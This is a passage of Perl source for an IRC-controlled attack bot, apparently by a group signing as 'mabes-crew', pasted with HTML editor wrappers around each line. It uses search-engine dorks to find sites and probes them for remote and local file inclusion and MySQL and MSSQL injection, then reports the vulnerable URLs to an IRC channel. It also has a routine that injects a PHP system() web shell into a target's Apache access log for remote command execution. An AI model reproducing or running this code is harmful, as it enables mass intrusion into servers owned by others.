<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### UoL Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "UoL";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Lycos Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "LyCos";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### GoodSearch Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "GoodSearch";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Yahoo Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "YahOo";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">##############################[ MSSQL ]##############################</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">##################################################################### Google Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "GooGLe";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)12 Dork :4 $d0rk");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)12 File :4 $bugx");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)7 Search Engine Loading ...");</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### AllTheWeb Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "AllTheWeb";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Bing Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "Bing";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Altavista Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "ALtaViSTa";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### ASK Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "AsK";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### UoL Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "UoL";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Lycos Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "LyCos";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### GoodSearch Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "GoodSearch";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Yahoo Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "YahOo";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mssqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">##################################################################### Apache Log Injection</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">&amp;injectlog($1,$2);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">for(my $c=0; $c&lt;= $#lines; $c++) {</div>
<div id="_mcePaste">$line = $lines[$c];</div>
<div id="_mcePaste">$line=$line_temp.$line if ($line_temp);</div>
<div id="_mcePaste">$line_temp='';</div>
<div id="_mcePaste">$line =~ s/\r$//;</div>
<div id="_mcePaste">unless ($c == $#lines) {</div>
<div id="_mcePaste">parse("$line");</div>
<div id="_mcePaste">} else {</div>
<div id="_mcePaste">if ($#lines == 0) {</div>
<div id="_mcePaste">parse("$line");</div>
<div id="_mcePaste">} elsif ($lines[$c] =~ /\r$/) {</div>
<div id="_mcePaste">parse("$line");</div>
<div id="_mcePaste">} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {</div>
<div id="_mcePaste">parse("$line");</div>
<div id="_mcePaste">} else {</div>
<div id="_mcePaste">$line_temp = $line;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Procedure</div>
<div id="_mcePaste">sub injectlog() {</div>
<div id="_mcePaste">my $host = $_[0];</div>
<div id="_mcePaste">my $port = $_[1];</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)12 Injecting7 ".$host.":".$port." 12Apache Access Log ...");</div>
<div id="_mcePaste">my $php = "&lt;?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?&gt;";</div>
<div id="_mcePaste">$sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; "tcp") ||</div>
<div id="_mcePaste">die sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)4 Cant Connect to7 ".$host.":".$port."");</div>
<div id="_mcePaste">print $sock "GET /mabes-crew.UnderGrounD ".$php." HTTP/1.1\r\n";</div>
<div id="_mcePaste">print $sock "Host: ".$host."\r\n";</div>
<div id="_mcePaste">print $sock "Connection: close\r\n\r\n";</div>
<div id="_mcePaste">close($sock);</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12is Done ...");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12RCE Parameter  -&gt;3 c0li");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12RCE Identifier -&gt;3 mabes-crew.UnderGrounD");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub rfiscan() {</div>
<div id="_mcePaste">my $engz = $_[0];</div>
<div id="_mcePaste">my $bugz = $_[1];</div>
<div id="_mcePaste">my $dork = $_[2];</div>
<div id="_mcePaste">my $contatore = 0;</div>
<div id="_mcePaste">if ($engz =~ /GooGLe/) {</div>
<div id="_mcePaste">my @google=&amp;google($dork);</div>
<div id="_mcePaste">push(@total, @google);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /AllTheWeb/) {</div>
<div id="_mcePaste">my @alltheweb=&amp;alltheweb($dork);</div>
<div id="_mcePaste">push(@total, @alltheweb);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /Bing/) {</div>
<div id="_mcePaste">my @Bing=&amp;Bing($dork);</div>
<div id="_mcePaste">push(@total, @Bing);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /ALtaViSTa/) {</div>
<div id="_mcePaste">my @altavista=&amp;altavista($dork);</div>
<div id="_mcePaste">push(@total, @altavista);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /AsK/) {</div>
<div id="_mcePaste">my @ask=&amp;ask($dork);</div>
<div id="_mcePaste">push(@total, @ask);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /UoL/) {</div>
<div id="_mcePaste">my @uol=&amp;uol($dork);</div>
<div id="_mcePaste">push(@total, @uol);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /LyCos/) {</div>
<div id="_mcePaste">my @lycos=&amp;lycos($dork);</div>
<div id="_mcePaste">push(@total, @lycos);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /GoodSearch/) {</div>
<div id="_mcePaste">my @goodsearch=&amp;goodsearch($dork);</div>
<div id="_mcePaste">push(@total, @goodsearch);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /YahOo/) {</div>
<div id="_mcePaste">my @yahoo=&amp;yahoo($dork);</div>
<div id="_mcePaste">push(@total, @yahoo);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my @clean=&amp;calculate(@total);</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");</div>
<div id="_mcePaste">if (scalar(@clean) != 0) {</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)7 Exploiting4 $dork");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $uni=scalar(@clean);</div>
<div id="_mcePaste">foreach my $target (@clean)</div>
<div id="_mcePaste">{</div>
<div id="_mcePaste">$contatore++;</div>
<div id="_mcePaste">if ($contatore==$uni-1){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)10 Scan Finish for14 $dork");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $xpl  = "http://".$target.$bugz.$injector."?";</div>
<div id="_mcePaste">my $vuln = "http://".$target."12".$bugz."7".$phpshell."?";</div>
<div id="_mcePaste">my $re   = getcontent($xpl);</div>
<div id="_mcePaste">if($re =~ /$rfi_result/ &amp;&amp; $re =~ /uid=/){</div>
<div id="_mcePaste">os($xpl);</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@6".$os."15)(7@3SAFEMODE-OFF15)");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">elsif($re =~ /$rfi_result/)</div>
<div id="_mcePaste">{</div>
<div id="_mcePaste">os($xpl);</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@6".$os."15)(7@4SAFEMODE-ON15)");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub lfiscan() {</div>
<div id="_mcePaste">my $engz = $_[0];</div>
<div id="_mcePaste">my $bugz = $_[1];</div>
<div id="_mcePaste">my $dork = $_[2];</div>
<div id="_mcePaste">my $contatore = 0;</div>
<div id="_mcePaste">if ($engz =~ /GooGLe/) {</div>
<div id="_mcePaste">my @google=&amp;google($dork);</div>
<div id="_mcePaste">push(@total, @google);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /AllTheWeb/) {</div>
<div id="_mcePaste">my @alltheweb=&amp;alltheweb($dork);</div>
<div id="_mcePaste">push(@total, @alltheweb);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /Bing/) {</div>
<div id="_mcePaste">my @Bing=&amp;Bing($dork);</div>
<div id="_mcePaste">push(@total, @Bing);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /ALtaViSTa/) {</div>
<div id="_mcePaste">my @altavista=&amp;altavista($dork);</div>
<div id="_mcePaste">push(@total, @altavista);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /AsK/) {</div>
<div id="_mcePaste">my @ask=&amp;ask($dork);</div>
<div id="_mcePaste">push(@total, @ask);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /UoL/) {</div>
<div id="_mcePaste">my @uol=&amp;uol($dork);</div>
<div id="_mcePaste">push(@total, @uol);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /LyCos/) {</div>
<div id="_mcePaste">my @lycos=&amp;lycos($dork);</div>
<div id="_mcePaste">push(@total, @lycos);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /GoodSearch/) {</div>
<div id="_mcePaste">my @goodsearch=&amp;goodsearch($dork);</div>
<div id="_mcePaste">push(@total, @goodsearch);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /YahOo/) {</div>
<div id="_mcePaste">my @yahoo=&amp;yahoo($dork);</div>
<div id="_mcePaste">push(@total, @yahoo);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my @clean = &amp;calculate(@total);</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");</div>
<div id="_mcePaste">if (scalar(@clean) != 0) {</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)7 Exploiting4 $dork");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $uni=scalar(@clean);</div>
<div id="_mcePaste">foreach my $target (@clean)</div>
<div id="_mcePaste">{</div>
<div id="_mcePaste">$contatore++;</div>
<div id="_mcePaste">if ($contatore==$uni-1){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)10 Scan Finish for14 $dork");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $xpl  = "http://".$target.$bugz.$lfi_test;</div>
<div id="_mcePaste">my $vuln = "http://".$target."12".$bugz."7".$lfi_test."";</div>
<div id="_mcePaste">my $re   = getcontent($xpl);</div>
<div id="_mcePaste">if ($re  =~ /$lfi_output/){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@3mabes-crew15)");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub mysqlscan() {</div>
<div id="_mcePaste">my $engz = $_[0];</div>
<div id="_mcePaste">my $bugz = $_[1];</div>
<div id="_mcePaste">my $dork = $_[2];</div>
<div id="_mcePaste">my $contatore = 0;</div>
<div id="_mcePaste">if ($engz =~ /GooGLe/) {</div>
<div id="_mcePaste">my @google=&amp;google($dork);</div>
<div id="_mcePaste">push(@total, @google);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /AllTheWeb/) {</div>
<div id="_mcePaste">my @alltheweb=&amp;alltheweb($dork);</div>
<div id="_mcePaste">push(@total, @alltheweb);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /Bing/) {</div>
<div id="_mcePaste">my @Bing=&amp;Bing($dork);</div>
<div id="_mcePaste">push(@total, @Bing);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /ALtaViSTa/) {</div>
<div id="_mcePaste">my @altavista=&amp;altavista($dork);</div>
<div id="_mcePaste">push(@total, @altavista);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /AsK/) {</div>
<div id="_mcePaste">my @ask=&amp;ask($dork);</div>
<div id="_mcePaste">push(@total, @ask);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /UoL/) {</div>
<div id="_mcePaste">my @uol=&amp;uol($dork);</div>
<div id="_mcePaste">push(@total, @uol);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /LyCos/) {</div>
<div id="_mcePaste">my @lycos=&amp;lycos($dork);</div>
<div id="_mcePaste">push(@total, @lycos);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /GoodSearch/) {</div>
<div id="_mcePaste">my @goodsearch=&amp;goodsearch($dork);</div>
<div id="_mcePaste">push(@total, @goodsearch);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /YahOo/) {</div>
<div id="_mcePaste">my @yahoo=&amp;yahoo($dork);</div>
<div id="_mcePaste">push(@total, @yahoo);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my @clean = &amp;calculate(@total);</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");</div>
<div id="_mcePaste">if (scalar(@clean) != 0) {</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $uni = scalar(@clean);</div>
<div id="_mcePaste">foreach my $target (@clean)</div>
<div id="_mcePaste">{</div>
<div id="_mcePaste">$contatore++;</div>
<div id="_mcePaste">if ($contatore==$uni-1){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $xpl  = "http://".$target.$bugz.$sql_test;</div>
<div id="_mcePaste">my $vuln = "http://".$target."12".$bugz."7[SQL]";</div>
<div id="_mcePaste">my $re   = getcontent($xpl);</div>
<div id="_mcePaste">if ($re  =~ /$mysql_output/){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 ".$vuln." 15(7@3mabes-crew15)");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub mssqlscan() {</div>
<div id="_mcePaste">my $engz = $_[0];</div>
<div id="_mcePaste">my $bugz = $_[1];</div>
<div id="_mcePaste">my $dork = $_[2];</div>
<div id="_mcePaste">my $contatore = 0;</div>
<div id="_mcePaste">if ($engz =~ /GooGLe/) {</div>
<div id="_mcePaste">my @google=&amp;google($dork);</div>
<div id="_mcePaste">push(@total, @google);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /AllTheWeb/) {</div>
<div id="_mcePaste">my @alltheweb=&amp;alltheweb($dork);</div>
<div id="_mcePaste">push(@total, @alltheweb);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /Bing/) {</div>
<div id="_mcePaste">my @Bing=&amp;Bing($dork);</div>
<div id="_mcePaste">push(@total, @Bing);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /ALtaViSTa/) {</div>
<div id="_mcePaste">my @altavista=&amp;altavista($dork);</div>
<div id="_mcePaste">push(@total, @altavista);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /AsK/) {</div>
<div id="_mcePaste">my @ask=&amp;ask($dork);</div>
<div id="_mcePaste">push(@total, @ask);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /UoL/) {</div>
<div id="_mcePaste">my @uol=&amp;uol($dork);</div>
<div id="_mcePaste">push(@total, @uol);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($engz =~ /LyCos/) {</div>
<div id="_mcePaste">my @lycos=&amp;lycos($dork);</div>
<div id="_mcePaste">push(@total, @lycos);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my @clean = &amp;calculate(@total);</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");</div>
<div id="_mcePaste">if (scalar(@clean) != 0) {</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $uni = scalar(@clean);</div>
<div id="_mcePaste">foreach my $target (@clean)</div>
<div id="_mcePaste">{</div>
<div id="_mcePaste">$contatore++;</div>
<div id="_mcePaste">if ($contatore==$uni-1){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $xpl  = "http://".$target.$bugz.$sql_test;</div>
<div id="_mcePaste">my $vuln = "http://".$target."12".$bugz."7[SQL]";</div>
<div id="_mcePaste">my $re   = getcontent($xpl);</div>
<div id="_mcePaste">if ($re  =~ /$mssql_output/){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 ".$vuln." 15(7@3mabes-crew15)");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub os() {</div>
<div id="_mcePaste">my $site = $_[0];</div>
<div id="_mcePaste">my $re   = &amp;query($site);</div>
<div id="_mcePaste">while ($re =~ m/&lt;br&gt;os:(.+?)&lt;br&gt;/g) {</div>
<div id="_mcePaste">$os = $1;</div>
<div id="_mcePaste">if ($1 eq "") { $os = "UnKn0wN"; }</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub response() {</div>
<div id="_mcePaste">my $re = getcontent($injector);</div>
<div id="_mcePaste">if ($re =~ /pZLNd8MwEITvg/) {</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)12 ? 3OK12 ?");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)12 ? 4JAH12 ?");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub getcontent() {</div>
<div id="_mcePaste">$url    = $_[0];</div>
